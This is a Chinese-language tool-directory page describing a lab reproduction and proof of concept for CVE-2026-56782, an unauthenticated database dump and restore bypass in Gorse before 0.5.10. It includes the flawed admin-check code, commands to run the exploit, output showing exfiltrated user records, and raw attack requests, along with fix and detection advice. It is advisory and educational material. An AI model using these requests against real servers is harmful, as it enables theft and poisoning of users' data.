Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-56782-Gorse-Auth-Bypass — CVE-2026-56782 — Gorse <0.5.10 未认证的数据库导出/恢复 (admin_api_key fail-open)。实验室 + PoC,已验证端到端。 | Kitploit
工具/GitHubGitHub/biitts/cve-2026-56782-gorse-auth-bypass
漏洞分析漏洞利用数据泄露Web安全CTF渗透测试身份验证学习与教育实验室与实践

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
GitHub
biitts/cve-2026-56782-gorse-auth-bypass

CVE-2026-56782-Gorse-Auth-Bypass

CVE-2026-56782 — Gorse <0.5.10 未认证的数据库导出/恢复 (admin_api_key fail-open)。实验室 + PoC,已验证端到端。

查看仓库
112个月前尚未审核
分享

CVE-2026-56782 — Gorse 未认证数据库转储/恢复(认证绕过)

Gorse < 0.5.10 默认配置 admin_api_key = ""。主 HTTP 端点 /api/dump 和 /api/restore 通过管理员检查进行控制,但在未配置密钥时 故障开放——即默认情况。未认证且可达网络的攻击者可以 窃取整个数据集(用户、物品、反馈/个人身份信息)或 覆盖它。

CVECVE-2026-56782
受影响版本Gorse < 0.5.10
修复版本0.5.10
缺陷类型CWE-305(主密钥认证绕过)/ CWE-306(缺少认证)
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
认证无(默认 admin_api_key 为空)
端点GET /api/dump, POST /api/restore(主 HTTP,默认端口 8088)
状态已确认 — 在 zhenghaoz/gorse-in-one:0.5.8 上端到端复现

根本原因

master/rest.go 通过 checkAdmin() 保护转储/恢复处理函数:

root@kitploit:~
func (m *Master) checkAdmin(request *http.Request) bool {
    if m.Config.Master.AdminAPIKey == "" {
        return true                 // <-- 故障开放:未配置密钥 => 任何人均为管理员
    }
    if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
        return true
    }
    return false
}

func (m *Master) dump(response http.ResponseWriter, request *http.Request) {
    if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
    ...                              // 流式输出所有用户、物品和反馈记录
}

func (m *Master) restore(response http.ResponseWriter, request *http.Request) {
    if !m.checkAdmin(request) { writeError(response, 401, "unauthorized"); return }
    ...                              // m.Restore(request.Body) — 覆盖数据集
}

随附的 config/config.toml 将 admin_api_key = ""。使用默认配置时, checkAdmin() 对 每个 请求都返回 true——X-API-Key 头部从未被检查—— 因此两个端点对世界可读、可写。

影响

  • 机密性 — GET /api/dump 以流形式输出完整数据库:所有用户 ID 和标签、 所有物品,以及完整反馈图(谁与谁交互过)。 对于支撑真实产品的推荐系统,这相当于批量个人身份信息 / 行为数据。
  • 完整性 / 可用性 — POST /api/restore 用攻击者提供的内容替换数据集, 从而实现静默数据投毒或破坏。

复现

root@kitploit:~
# 1. 启动存在漏洞的服务器(官方镜像,默认配置 = 无认证)。
docker compose -f lab/docker-compose.yml up -d
#    --playground 种子了一个包含真实用户/物品/反馈的数据集,可供窃取。

# 2. 运行 PoC(无需凭据)。
python3 exploit.py http://127.0.0.1:8088 -o dump.bin

观察到:

root@kitploit:~
[*] GET http://127.0.0.1:8088/api/dump  (无 X-API-Key 头部)
[*] HTTP 200  content-type: application/octet-stream

[+] 未认证数据外泄已确认
    用户    : 2079
    物品    : 22320
    反馈    : 331901
    载荷    : 262747105 protobuf 字节
    示例用户 ID : 0-vortex, 0markill, 0q2, 0x4richard, 0x973

[*] POST http://127.0.0.1:8088/api/restore  (无 X-API-Key 头部,仅 EOF 主体)
[+] HTTP 200 (非 401) - checkAdmin 被绕过:/api/restore 在未认证状态下可写。

使用伪造的 X-API-Key 头部依然返回 200——确认当 admin_api_key 未设置时, 密钥完全被忽略(故障开放路径),而非仅仅匹配失败。

原始请求

root@kitploit:~
GET /api/dump HTTP/1.1
Host: 127.0.0.1:8088
root@kitploit:~
POST /api/restore HTTP/1.1
Host: 127.0.0.1:8088
Content-Type: application/octet-stream

<转储流:int64 LE 标记(-1 用户,-2 物品,-3 反馈,0 EOF)+ 长度前缀的 protobuf>

修复措施

  • 升级至 Gorse ≥ 0.5.10,该版本移除了管理员检查中的空密钥故障开放 (未设置密钥不再授予访问权限)。
  • 在受影响版本上的临时方案:设置强壮的 admin_api_key(以及 dashboard 凭据),在主前端终止 TLS,并切勿将主 HTTP 端口(8088) 暴露给不可信网络。

检测

对主端口上任何缺少有效 X-API-Key 的 GET /api/dump 或 POST /api/restore 请求发出告警,并对 /api/dump 返回的大 application/octet-stream 响应发出告警。

详见 ANALYSIS.md,包含请求流程、转储流格式及补丁。


  • 作者:Caio Fabrício — github.com/BiiTts
  • 漏洞归属原 CVE 报告者;本仓库为独立复现,仅供防御和教育用途。仅限授权安全测试。
下载工具